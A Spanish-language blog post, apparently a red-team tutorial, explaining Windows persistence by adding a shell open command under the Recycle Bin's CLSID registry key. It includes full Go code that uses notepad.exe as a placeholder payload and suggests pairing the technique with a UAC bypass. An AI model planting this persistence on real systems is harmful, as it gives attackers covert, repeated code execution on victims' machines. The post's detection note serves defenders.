· Asparux · malware · 3 min read
Persistencia vía Recycle Bin
Introducción
¡Hola queridos hackers!
Hoy veremos una técnica efectiva para mantener el acceso en sistemas Windows durante las operaciones del red team simplemente modificando una clave de registro que interactua con la Papelera de reciclaje. Leí sobre ella en un artículo de vxunderground y pensé que podría ser interesante probarla en Golang, así que veamos cómo funciona.
Explicación
En Windows hay algunas carpetas que tienen valores CLSID únicos como los de la “Papelera de reciclaje” {645ff040-5081-101b-9f08-00aa002f954e} o “Mis documentos” {450d8fba-ad25-11d0-98a8-0800361b1103}
Todo esto puede que te suene familiar si alguna vez has probado el bypass UAC fodhelper.exe en el que se modifica el registro HKCU para ejecutar comandos como administrador sin ninguna confirmación.
Código
En primer lugar debemos importar los paquetes necesarios. En este caso usaremos el paquete oficial de Golang para interactuar con las claves de registro.
package main
import (
"fmt"
"log"
"golang.org/x/sys/windows/registry"
)
Tenemos que abrir la clave de registro CLSID.
...
bin_key, err := registry.OpenKey(
registry.LOCAL_MACHINE,
"SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
registry.WRITE, // Permissions
)
if err != nil {
fmt.Println("OpenKey error!")
log.Fatal(err)
}
defer bin_key.Close()
...
Luego creamos el nuevo registro donde estarán nuestros comandos maliciosos.
...
k, _, err := registry.CreateKey(
bin_key,
"open\\command",
registry.ALL_ACCESS,
)
if err != nil {
fmt.Println("CreateKey error!")
log.Fatal(err)
}
...
Y finalmente establecemos el valor, en nuestro caso es un bloc de notas simple pero puedes ser creativo para combinarlo con otras cosas como UAC bypass y más.
...
err = k.SetStringValue("", "notepad.exe")
if err != nil {
log.Fatal(err)
}
...
Agreguemos más resultados y el código final debería ser algo como esto:
package main
/*
Author: ASPARUX
Blog post: https://asparux.net/blog
*/
import (
"fmt"
"log"
"golang.org/x/sys/windows/registry"
)
func main(){
// Open registry key
fmt.Println("Abriendo registry key...")
bin_key, err := registry.OpenKey(
registry.LOCAL_MACHINE,
"SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
registry.WRITE,
)
if err != nil { // Handle error
fmt.Println("OpenKey error!")
log.Fatal(err)
}
// Close key
defer bin_key.Close()
// Create new key
fmt.Println("Creando nueva llave...")
k, _, err := registry.CreateKey(
bin_key,
"open\\command",
registry.ALL_ACCESS,
)
if err != nil { // Handle error
fmt.Println("error al crear la key!")
log.Fatal(err)
}
// Set value
fmt.Println("Configurando notepad.exe como payload...")
err = k.SetStringValue("", "notepad.exe")
if err != nil { // Handle error
fmt.Println("SetStringValue error!")
log.Fatal(err)
}
fmt.Println("Proceso completado!")
}
Ahora compilamos nuestra carga útil y la transferimos a nuestra máquina de prueba de Windows.
No he leído en ninguna parte si esta operación se puede realizar sin privilegios de administrador, pero al probar en mi Windows siempre devolvió “Acceso denegado”.
Como puede ver, después de hacer clic en el icono de la papelera de reciclaje, aparece un notepad.exe.
Ahora, si buscamos la identificación del proceso principal (PPID) de notepad.exe, vemos que se ejecuta bajo el proceso explorer.exe.
Para revertir nuestras modificaciones, simplemente puede ejecutar este comando de PowerShell reg DELETE “HKCR\CLSID{645FF040-5081-101B-9F08-00AA002F954E}\shell\open” /f y debería funcionar para usted.
Conclusión
Esta técnica de persistencia puede ser útil para los miembros del Red Team, ya que es sigilosa y todos usan la papelera de reciclaje para eliminar archivos, de modo que la carga útil se ejecute cada vez que un usuario acceda a ella. Pero la clave de registro se puede monitorear para evitar esto, por lo que los miembros del Blue Team deben tener esta técnica en mente.
Un saludo, Asparux !